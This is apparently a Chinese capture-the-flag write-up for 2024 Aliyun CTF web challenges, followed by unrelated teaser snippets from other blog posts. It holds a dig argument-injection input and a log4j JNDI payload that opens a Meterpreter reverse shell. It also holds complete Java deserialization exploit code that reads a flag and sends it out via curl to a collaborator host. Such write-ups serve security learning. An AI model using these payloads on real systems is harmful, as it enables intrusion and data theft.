2024阿里云CTF Web writeup
《Java代码审计》
http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect
前言
又是周末比赛,希望以后的CTF组织者都搞到周中 这样在公司上班就能打比赛,不过这次也是随缘参与。这次web题目难度还行,其他的题目没怎么做。所以还是只写web的题目了,记录下。
题目
web签到

一看就是查询dns的,抓包:

很有可能是dig命令,最终将结果base64返回并输出,探测了很长时间domain发现过滤的非常严格。后续在type处注入,有大量的字符转义。翻阅dig参数 有一个-f读取文件,直接读根目录flag
{"domain":"baidu.com","type":"-f/flag"}
easyCAS
解法1
username处存在log4j,使用burp自带的dnslog探测确实存在。使用JNDIExploit 直接利用tomcatbypass模块反弹shell到metepreter:
先开启ldap
java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip xxx.xxx.xxx.xxx--ldapPort 8881
再发送请求
username=${jndi:ldap://1.1.1.1:8881/TomcatBypass/Meterpreter/1.1.1.1/8884}

标准解法
我猜测这个可能是官方想要的考点,否则log4j打太无脑了。
查阅资料发现默认的用户名是 casuser,密码是 Mellon
http://web3.aliyunctf.com:23723//login?service=http%3A%2F%2Fweb3.aliyunctf.com%3A23723%2Fstatus%2Fheapdump
通过上述链接下载heapdump。直接去访问直接跳转127.0.0.1了。
我们先分析题目,说的是5.x以后就没有问题了吗?我们都知道4.x有反序列化的问题,类似shiro有默认key,直接打反序列化的gadgets。现在5.x的key不是默认了,但是我们有heapdump,IDEA打开查询对应可以:
org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor
先写一个危险类执行命令,test.class:
package aliyunCTF_Easy_Cas;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.util.Base64;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;public class test extends AbstractTranslet {public test() throws IOException {super();String result = execCommand("cat /flag.txt").trim();String command = "curl "+Base64.getEncoder().encodeToString(result.getBytes()).replaceAll("=+$", "") +".244uevo5icza8bg0mu6m4krtekki87.burpcollaborator.net";execCommand(command);//Runtime.getRuntime().exec("bash -c 'curl `whoami`.jwjb6cgmatrr0s8heby3w1ja61cw0l.burpcollaborator.net'");}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}private static String execCommand(String command) throws IOException {StringBuffer output = new StringBuffer();Process process = Runtime.getRuntime().exec(command);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {output.append(line + "\n");}return output.toString();}}
然后我们结合CB1NOCC反序列化链,构造一个反序列化并利用上面拿到的key加密(直接看网上的分析文章把加密部分扒了过来组合)。
package aliyunCTF_Easy_Cas;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.serialize.Serializer;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;import java.util.zip.GZIPOutputStream;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.commons.beanutils.BeanComparator;import javax.crypto.spec.SecretKeySpec;public class attackAeperoCas {public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(filedname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {// 构造CB1nocc链接ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(test.class.getName());byte[] code = clazz.toBytecode();TemplatesImpl ti =new TemplatesImpl();setFieldValue(ti,"_bytecodes",new byte[][]{code});setFieldValue(ti, "_name", "eval");final BeanComparator bc = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> pq = new PriorityQueue<Object>(2,bc);pq.add("1");pq.add("1");setFieldValue(bc,"property","outputProperties");setFieldValue(pq,"queue",new Object[]{ti,ti});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(pq);oos.close();//加密payloadbyte[] skey = "CdsZkifxK9MfH9v0CJ-DJoEvJ3wPMNqUZ8AKoYFLSCwiQ4PGtuh90rN7-QzyaLdALxO3ZtNfgX_de7Pm7kd0Zg".getBytes();byte[] ekey = new byte[]{56,62,-30,-91,93,25,105,-71,-92,-30,110,45,-27,44,89,-36};SecretKeySpec enkey = new SecretKeySpec(ekey, "AES");WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);//这里用setfield 因为setfield我们编写类可以设置父类的属性setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(barr.toByteArray()))));}public static byte[] compressString(byte[] data) {// 使用ByteArrayOutputStream来捕获压缩数据try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) {// 写入数据到GZIPOutputStream,它会处理压缩gzipOS.write(data);// 完成压缩数据的写入gzipOS.close();// 返回压缩后的字节数组return bos.toByteArray();} catch (IOException e) {e.printStackTrace();return null;}}//得遍历父类设置对应属性。因为encryptionKey属于webflowConversationStateCipherExecutor父类的属性。static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException {try {// 获取目标对象的类对象Class<?> currentClass = targetObject.getClass();// 循环遍历当前类及其父类,直到找到该字段或到达Object类Field field = null;while (currentClass != null) {try {field = currentClass.getDeclaredField(fieldName);break; // 字段找到,退出循环} catch (NoSuchFieldException e) {// 当前类中没有该字段,继续在父类中查找currentClass = currentClass.getSuperclass();}}if (field == null) {throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy");}// 设置访问权限,允许访问私有字段field.setAccessible(true);// 设置新的字段值field.set(targetObject, newValue);} catch (IllegalAccessException e) {e.printStackTrace();}}}
加密的payload直接替换execution参数。注意前面的uid不要去掉,从uid_后开始替换。我这里是直接DNS携带flag,执行的就是test.class中编写的代码。

这样可能才是这次考点,但是没想到这个环境有log4j直接就RCE了。
重点:CB1NOCC + 加密流程
相关文章:
2024阿里云CTF Web writeup
《Java代码审计》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484219&idx1&sn73564e316a4c9794019f15dd6b3ba9f6&chksmc0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene21#wechat_redirect 前言 又是周末…...
软件著作权申请教程(超详细)(2024新版)软著申请
目录 一、注册账号与实名登记 二、材料准备 三、申请步骤 1.办理身份 2.软件申请信息 3.软件开发信息 4.软件功能与特点 5.填报完成 一、注册账号与实名登记 首先我们需要在官网里面注册一个账号,并且完成实名认证,一般是注册【个人】的身份。中…...
三维测量与建模笔记 - 3.2 直接线性变换法标定DLT
DLT - Direct Linear Transform 上图中,透视成像对应的公式是共线方程,可以参考以下链接: https://zhuanlan.zhihu.com/p/101549821https://zhuanlan.zhihu.com/p/101549821 对于标定来说,需要找到。已知量是。 (u,v)是…...
Whisper AI视频(音频)转文本
在信息化时代,如何高效处理丰富的音频和视频内容成为了一个重要课题。将这些内容转化为文本不仅能提高信息的可获取性,还能促进更广泛的传播。Whisper Desktop作为一款先进的语音识别工具,能够帮助用户轻松实现音频和视频的转文本功能。 什么…...
全网最详细RabbitMQ教学包括如何安装环境【RabbitMQ】RabbitMQ + Spring Boot集成零基础入门(基础篇)
目录 一、初始Rabbitmq1、什么是Rabbitmq,它的概述是什么?2、RabbitMQ的应用场景3、RabbitMQ主要组件4、RabbitMQ 的优点5、与其他消息队列性能比较 二、RabbitMQ环境安装初始化三、SpringAMQPRabbitMQ实战入门(基本API)1、实战入…...
esp32记录一次错误
报错信息 PS C:\XingNian\GeRen\4Gdownload\wireless-esp8266-dap> idf.py build Executing action: all (aliases: build) Running cmake in directory c:\xingnian\geren\4gdownload\wireless-esp8266-dap\build Executing "cmake -G Ninja -DPYTHON_DEPS_CHECKED1 …...
Moonshine - 新型开源ASR(语音识别)模型,体积小,速度快,比OpenAI Whisper快五倍 本地一键整合包下载
Moonshine 是由 Useful Sensors 公司推出的一系列「语音到文本(speech-to-text, STT)转换模型」,旨在为资源受限设备提供快速而准确的「自动语音识别(ASR)服务」。Moonshine 的设计特别适合于需要即时响应的应用场景&a…...
java-web-苍穹外卖-day1:软件开发步骤简化版+后端环境搭建
软件开发 感觉书本上和线上课程, 讲的太抽象, 不好理解, 但软件开发不就是为了开发应用程序吗?! 干嘛搞这么抽象,对吧, 下面个人对于软件开发的看法, 主打简单易懂, 当然,我一IT界小菜鸟, 对软件开发的认识也很浅显, 这个思维导图也仅仅是现阶段我的看法, 我以后会尽力…...
一个国产 API 开源项目,在 ProductHunt 杀疯了...
随着AI 大模型技术的兴起,全球产品更新和面市进程速度肉眼可见的加快,Product Hunt 作为全球知名的产品发现平台,每日都会精选出一系列产品能力强劲的新产品,这些产品不仅代表了技术前沿,还反映了市场的发展趋势。 上…...
斗破QT编程入门系列之二:认识Qt:编写一个HelloWorld程序(四星斗师)
斗破Qt目录: 斗破Qt编程入门系列之前言:认识Qt:Qt的获取与安装(四星斗师) 斗破QT编程入门系列之一:认识Qt:初步使用(四星斗师) 斗破QT编程入门系列之二:认识…...
木马病毒相关知识
1、 木马的定义 相当于一个远控程序(一个控制端[hack]、一个被控端[受害端]) 在计算机系统中,“特洛伊木马”指系统中被植入的、人为设计的程序,目的包括通过网终远程控制其他用户的计算机系统,窃取信息资料࿰…...
用 Python 写了一个天天酷跑(附源码)
Hello,大家好,给大家说一下,我要开始装逼了 这期写个天天酷跑玩一下叭! 制作一个完整的“天天酷跑”游戏涉及很多方面,包括图形渲染、物理引擎、用户输入处理、游戏逻辑等。由于Python是一种高级编程语言,…...
【网络-交换机】生成树协议、环路检测
路由优先级 路由优先级决定了在多种可达的路由类型中,哪种路由将被用来转发数据包。路由优先级值越低,对应路由的优先级越高,优先级值255表示对应的路由不可达。一般情况下,静态路由的优先级为1,OSPF路由优先级为110&a…...
C++ 中的 JSON 序列化和反序列化:结构体与枚举类型的处理
在 C 编程中,处理 JSON 数据是一项常见任务,特别是在需要与其他系统或前端进行数据交换时。nlohmann::json 库是一个功能强大且易于使用的 JSON 库,它允许我们轻松地在 C 中进行 JSON 数据的序列化和反序列化。本文将详细介绍如何使用 nlohma…...
MySQL 批量删除海量数据的几种方法
目录 一、问题分析 二、批量删除海量数据的几种方法 方法 1:使用 LIMIT 分批删除 方法 2:通过主键范围分批删除 方法 3:通过自定义批量删除存储过程 方法 4:创建临时表替换旧表 三、性能优化建议 总结 在数据库的日常维护…...
【docker入门】docker的安装
目录 Centos 7 添加docker 官方仓库到yum源 将 Docker 的官方镜像源替换为国内可以的 Docker 镜像源 安装docker 配置docker加速源 Ubuntu 创建 gpg key 目录 下载 gpg key 添加国内可用镜像源到 系统的 APT 仓库中 安装docker 配置加速源 Centos 7 添加docker 官方仓…...
单例模式五种写法
饿汉式(线程安全) public class Singleton {// 直接创建实例,在类加载时就完成实例化private static final Singleton instance new Singleton();// 私有构造函数private Singleton() {}// 提供公共的静态方法获取实例public static Single…...
解析静态链接
文章目录 静态链接空间与地址分配相似段合并虚拟地址分配符号地址确定 符号解析与重定位链接器优化重复代码消除函数链接级别 静态库静态链接优缺点 静态链接 一组目标文件经过链接器链接后形成的文件即可执行文件,如果没有动态库的加入,那么这个可执行…...
前端基础-html-注册界面
(200粉啦,感谢大家的关注~ 一起加油吧~) 浅浅分享下作业,大佬轻喷~ 网页最终效果: 详细代码: <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"…...
量子电路的实现 基于ibm的qiskit
量子计算的物理实现 量子计算的实现有几种方式,最常用的就是超导量子计算机,它的量子处理器是用超导传输量子比特构建的,它是由一个约瑟夫森结和一个并联的电容器组成的电路。约瑟夫森结是一种非线性电感,由两层重叠的超导…...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
Java 8 Stream API 入门到实践详解
一、告别 for 循环! 传统痛点: Java 8 之前,集合操作离不开冗长的 for 循环和匿名类。例如,过滤列表中的偶数: List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...
【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
day36-多路IO复用
一、基本概念 (服务器多客户端模型) 定义:单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用:应用程序通常需要处理来自多条事件流中的事件,比如我现在用的电脑,需要同时处理键盘鼠标…...
微服务通信安全:深入解析mTLS的原理与实践
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言:微服务时代的通信安全挑战 随着云原生和微服务架构的普及,服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...
【FTP】ftp文件传输会丢包吗?批量几百个文件传输,有一些文件没有传输完整,如何解决?
FTP(File Transfer Protocol)本身是一个基于 TCP 的协议,理论上不会丢包。但 FTP 文件传输过程中仍可能出现文件不完整、丢失或损坏的情况,主要原因包括: ✅ 一、FTP传输可能“丢包”或文件不完整的原因 原因描述网络…...
